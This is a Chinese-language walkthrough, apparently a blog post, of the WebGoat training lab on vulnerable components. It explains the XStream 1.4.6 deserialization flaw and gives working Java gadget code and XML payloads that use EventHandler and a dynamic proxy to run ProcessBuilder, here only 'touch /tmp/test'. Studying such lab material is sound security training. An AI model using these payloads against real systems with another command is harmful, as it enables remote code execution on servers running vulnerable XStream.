WebGoat全通关:A6-Vuln-and-Outdated-Components

Vulnerable Components #

开发者往往不像自己写的代码一样熟悉 ta 使用的依赖

亦或者是依赖的层数复杂、依赖的数量较多

因此依赖中的漏洞造成的损害往往比想象中大

实验:利用 XStream 1.4.6 的 XML 反序列化漏洞 #

XStream 1.4.6

目标是执行 (new java.lang.ProcessBuilder("touch", "/tmp/test")).start()

简单地对 ProcessBuilder 反序列化并没有什么用,因为它是静态的,需要通过调用链触发 start() 方法

(关于反序列化原理可以参考 [[posts/WebGoat/WebGoat全通关:A8-Software-and-Data-Integrity]])

这里用了一种非常常见的技巧:Java 动态代理

具体来说就是调用 java.beans.EventHandler.create

该方法返回一个被动态代理的对象

代理的意思是:对该对象所有的方法调用都会被转为实例化 EventHandler 时指定的另一个类的方法

Comparable obj = EventHandler.create(Comparable.class, new java.lang.ProcessBuilder("touch", "/tmp/test"), "start");

接下来还需要找一种办法来调用这个对象的随便一个方法

这里使用了 TreeSet 建立时的排序机制触发 Comparable.compareTo()

Set<Comparable> set = new TreeSet<Comparable>();
set.add("foo");
set.add((Comparable) EventHandler.create(Comparable.class, new java.lang.ProcessBuilder("touch", "/tmp/test"), "start");

set 的 XML 序列化如下

<sorted-set>
	<string>foo</string>
	<dynamic-proxy>
		<interface>java.lang.Comparable</interface>
		<handler class="java.beans.EventHandler">
			<target class="java.lang.ProcessBuilder">
				<command>
					<string>touch</string>
					<string>/tmp/test</string>
				</command>
			</target>
			<action>start</action>
		</handler>
	</dynamic-proxy>
</sorted-set>

查看一下 /tmp/test 是否被创建

$ docker exec webgoat ls /tmp

hsperfdata_root
hsperfdata_webgoat
jruby-1
test
tomcat.8080.12854051584769605862
tomcat.9090.8426600320365208738
tomcat-docbase.8080.9566489061383270690
tomcat-docbase.9090.776769697714729608
webgoat.jar-spring-boot-libs-e0177fd9-b07e-430f-8ff5-ee68290f9390
webwolf-fileserver

根据实验要求,过关需要转化为 Contact 对象

然后应该框架会自动触发

<dynamic-proxy>
	<interface>org.owasp.webgoat.lessons.vulnerablecomponents.Contact</interface>
	<handler class="java.beans.EventHandler">
		<target class="java.lang.ProcessBuilder">
			<command>
				<string>touch</string>
				<string>/tmp/test</string>
			</command>
		</target>
		<action>start</action>
	</handler>
</dynamic-proxy>